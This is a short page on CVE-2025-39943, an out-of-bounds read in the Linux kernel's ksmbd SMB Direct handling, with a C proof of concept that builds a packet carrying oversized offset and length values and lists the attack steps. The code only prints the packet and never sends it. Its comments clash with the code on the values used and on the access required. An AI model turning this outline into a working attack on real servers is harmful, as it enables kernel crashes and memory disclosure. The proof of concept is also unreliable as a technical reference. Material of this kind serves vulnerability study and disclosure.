CVE-2025-39943 Linux内核ksmbd smbdirect越界读取漏洞

// CVE-2025-39943 PoC - Conceptual demonstration // Note: This vulnerability requires kernel-level access to ksmbd with smbdirect enabled // and RDMA-capable hardware. The following illustrates the malicious packet structure. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // Simplified SMB Direct data transfer structure (relevant fields) struct smb_direct_data_transfer { uint32_t data_offset; // Vulnerable field: not validated uint32_t data_length; // Vulnerable field: not validated uint32_t remaining_data_length; uint32_t reserved; uint8_t buffer[]; }; /* * Conceptual exploit flow: * 1. Establish an SMB Direct (RDMA) connection to target ksmbd server * 2. Craft a smb_direct_data_transfer with out-of-bounds values: * - data_offset = 0xFFFFFFFF (way beyond buffer) * - data_length = 0xFFFFFFFF (way beyond buffer) * 3. Send the malicious packet via RDMA send/recv queue * 4. When kernel processes recv_done callback, it uses these * unchecked values to access memory, causing OOB read * 5. Result: kernel crash (DoS) or memory disclosure * * Actual exploitation requires: * - RDMA-capable NIC (e.g., Mellanox ConnectX) * - librdmacm or ibverbs library * - Valid SMB session with ksmbd * - Local low-privilege access (PR:L) */ int main() { struct smb_direct_data_transfer *malicious_pkt; // Allocate minimal buffer malicious_pkt = (struct smb_direct_data_transfer *)malloc(sizeof(struct smb_direct_data_transfer) + 64); if (!malicious_pkt) return 1; // Set malicious values to trigger OOB access malicious_pkt->data_offset = 0xFFFF0000; // Out of bounds offset malicious_pkt->data_length = 0xFFFF0000; // Out of bounds length malicious_pkt->remaining_data_length = 0; malicious_pkt->reserved = 0; memset(malicious_pkt->buffer, 'A', 64); printf("Malicious SMB Direct packet crafted\n"); printf("data_offset: 0x%08x\n", malicious_pkt->data_offset); printf("data_length: 0x%08x\n", malicious_pkt->data_length); printf("Send this via RDMA to trigger CVE-2025-39943\n"); free(malicious_pkt); return 0; }